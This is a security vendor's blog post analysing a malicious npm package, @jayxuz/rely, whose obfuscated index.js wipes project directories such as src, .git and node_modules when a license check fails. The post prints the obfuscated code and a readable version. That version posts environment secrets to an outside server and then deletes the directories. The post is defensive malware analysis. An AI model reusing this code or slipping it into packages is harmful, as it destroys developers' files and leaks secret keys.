Malicious Code Deletes Directories If You Do Not Have a License
Table of Contents
Imagine deploying your latest software update, only to have crucial files mysteriously vanish.
This isn’t science fiction, but a recent discovery by Mend.io researchers. Malicious actors have taken software licensing a step too far, embedding code that deletes essential directories if a license check fails.
In this article, you’ll learn how this malicious code works, the potential damage it can cause, and how to protect your organization from falling victim to this licensing landmine. We’ll also explore the warning signs to look for and how automated security solutions can help keep your software development on track.
This article is part of a series of articles about malicious packages.
How does it work?
The Mend.io research team has identified a new kind of malicious code, one that can be used to prevent people from using unlicensed software, specifically by removing the code if it detects that the software is not licensed during the deployment stage.
The code is tricky to understand and uses a web request to check if the software is being used legally.
A malicious actor has distributed some legitimate packages via NPM, each of which requires a license. The problem arises when people install dependencies, including these packages, during deployment, but without the appropriate licenses, because the malicious actor has uploaded a new version of the package that destroys the files on users’ machines. The package @jayxuz/rely was uploaded to npm on January 10, 2023, 02:32 UTC time. Let’s take a look at how it works.
The package appears to have package.json and an obfuscated index.js file.
Some of the obfuscated code includes the function called “thanks”:
function thanks(_0x3503fb) {
var _0x54aa51 = []
//console['log'](fs[_0x27fc('0x3')](_0x3503fb))
if (fs['existsSync'](_0x3503fb)) {
_0x54aa51 = fs[_0x27fc('0x6')](_0x3503fb)
_0x54aa51[_0x27fc('0xc')](function (_0x60171a, _0x43e5ad) {
var _0x258bf5 = _0x3503fb + '/' + _0x60171a
if (fs[_0x27fc('0xa')](_0x258bf5)['isDirectory']()) {
thanks(_0x258bf5)
} else {
fs[_0x27fc('0x1')](_0x258bf5)
}
})
fs['rmdirSync'](_0x3503fb)
}
}
Later on, the code triggers the function “thanks” in various occurrences, following an “if” condition:
[_0x27fc('0x4')](({ data }) => {
if (data['code'] == 0xca) {
thanks('./.vscode')
thanks('./src')
thanks(_0x27fc('0x9'))
thanks(_0x27fc('0xd'))
thanks('./.svn')
thanks('./mock')
thanks(_0x27fc('0x8'))
}
if (data['code'] != 0xc8) {
console[_0x27fc('0x0')](chalk[_0x27fc('0x11')](data['msg']))
}
})
['catch'](() => {
if (
process[_0x27fc('0x10')][_0x27fc('0xb')] !== 'preview' &&
process[_0x27fc('0x10')][_0x27fc('0xb')]['length'] <= '50'
) {
thanks(_0x27fc('0xf'))
thanks('./src')
thanks('./public')
thanks('./.git')
thanks('./.svn')
thanks('./mock')
thanks('./node_modules')
}
})
The code snippet above appears to be a form of software protection or anti-piracy measure. The technique used is known as “obfuscation”, which makes it difficult for someone to understand or reverse-engineer the code. The code uses randomly generated variable and function names and is written in a compact form to further complicate the understanding of the code.
Upon initial analysis, it appears that the code is designed to check if the current environment is not a development environment. If this condition is met, it sends a POST request to a specified URL with certain data, including a custom user ID, secret key, and timestamp. If the response from the server is a specific code, the code then proceeds to delete multiple directories, including:
- .vscode
- Src
- Node_modules
- Public
- .git
- .svn
- Mock
These directories are commonly used by developers, and their deletion would cause serious disruption to the legitimate software development process.
Furthermore, if the response code is not 200, the code logs an error message in a red background. The code also includes a warning message that warns of the consequences of using a cracked version or unauthorized usage.
A more readable version of the code is:
const axios = require('axios');
const chalk = require('chalk');
const fs = require('fs');
const log = console.log;
function deleteDirectory(directory) {
if (fs.existsSync(directory)) {
let files = fs.readdirSync(directory);
files.forEach(function (file, index) {
var currentPath = directory + '/' + file;
if (fs.statSync(currentPath).isDirectory()) {
deleteDirectory(currentPath);
} else {
fs.unlinkSync(currentPath);
}
});
fs.rmdirSync(directory);
}
}
!(() => {
if (process.env.NODE_ENV !== 'development') {
axios({
url: 'https://vab-unicloud-3a9da9.service.tcloudbase.com/getRely',
method: 'post',
data: {
customUserId: process.env.VUE_GITHUB_USER_NAME,
secretKey: process.env.VUE_APP_SECRET_KEY,
timestamp: new Date().getTime(),
},
})
.then(({ data }) => {
if (data.code == 202) {
deleteDirectory('./.vscode');
deleteDirectory('./src');
deleteDirectory('./node_modules');
deleteDirectory('./public');
deleteDirectory('./.git');
deleteDirectory('./.svn');
deleteDirectory('./mock');
}
if (data.code != 200) {
log(chalk.bgRed(data.msg));
}
})
.catch(() => {
if (
process.env.VUE_APP_ENV !== 'preview' &&
process.env.NODE_ENV !== 'production'
) {
log(chalk.bgRed('破解造成不可挽回后果自负,正版用户请勿因破解、恶意分享失去框架更新和使用的机会,盗版用户未获取授权就使用到商业项目将追究你的法律责任'));
}
});
}
})();
We note the “thanks” method is actually intended to delete various directories as triggered later in the code.
The code also contains the following message in Chinese, which poses a legal threat:
破解造成不可挽回后果自负,正版用户请勿因破解、恶意分享失去框架更新和使用的机会,盗版用户未获取授权就使用到商业项目将追究你的法律责任
Google Translate translates this as:
“Cracking causes irreparable consequences at your own risk. Genuine users should not lose the opportunity to update and use the framework due to cracking and malicious sharing. Pirated users who use commercial projects without authorization will pursue your legal responsibility [sic].”
Examples of malicious packages in the wild
The case discussed above highlights a novel approach to malicious code, but it’s not the only way attackers try to infiltrate software. Here are a few real-world examples of malicious packages that demonstrate the range of threats developers face:
- Stealing Credentials: In early 2023, a malicious package found on npm was discovered to be stealing AWS IAM data. This attack technique bears similarities to the one used in the Capital One hack, demonstrating how attackers can leverage trusted repositories to compromise sensitive information.
- Hidden Backdoors: Another critical vulnerability involved a compromised version of a popular utility, XZ Utils. This malicious package contained a backdoor that attackers could exploit to gain unauthorized access via SSH. This incident underscores the importance of careful code review and dependency management practices. (Link to your article on the XZ Utils backdoor)
- Supply Chain Hijacking: Beyond manipulating individual packages, attackers can also target entire repositories. In a recent supply chain hijacking attack, a popular open-source library was compromised and replaced with a malicious version. This allowed attackers to inject their code into any project that relied on the affected library, potentially impacting a vast number of users.
By staying informed about these evolving threats and implementing robust security measures, organizations can significantly reduce their risk of falling victim to malicious packages.
How to protect your organization
The Mend Supply Chain Defender notified our research team about this incident in the early hours of the morning, and we were able to quickly identify its behaviour and how to address it.
The best way to thwart malicious efforts like this is to use an automated security solution such as Mend Supply Chain Defender, which informs you when you import a malicious package from open-source registries.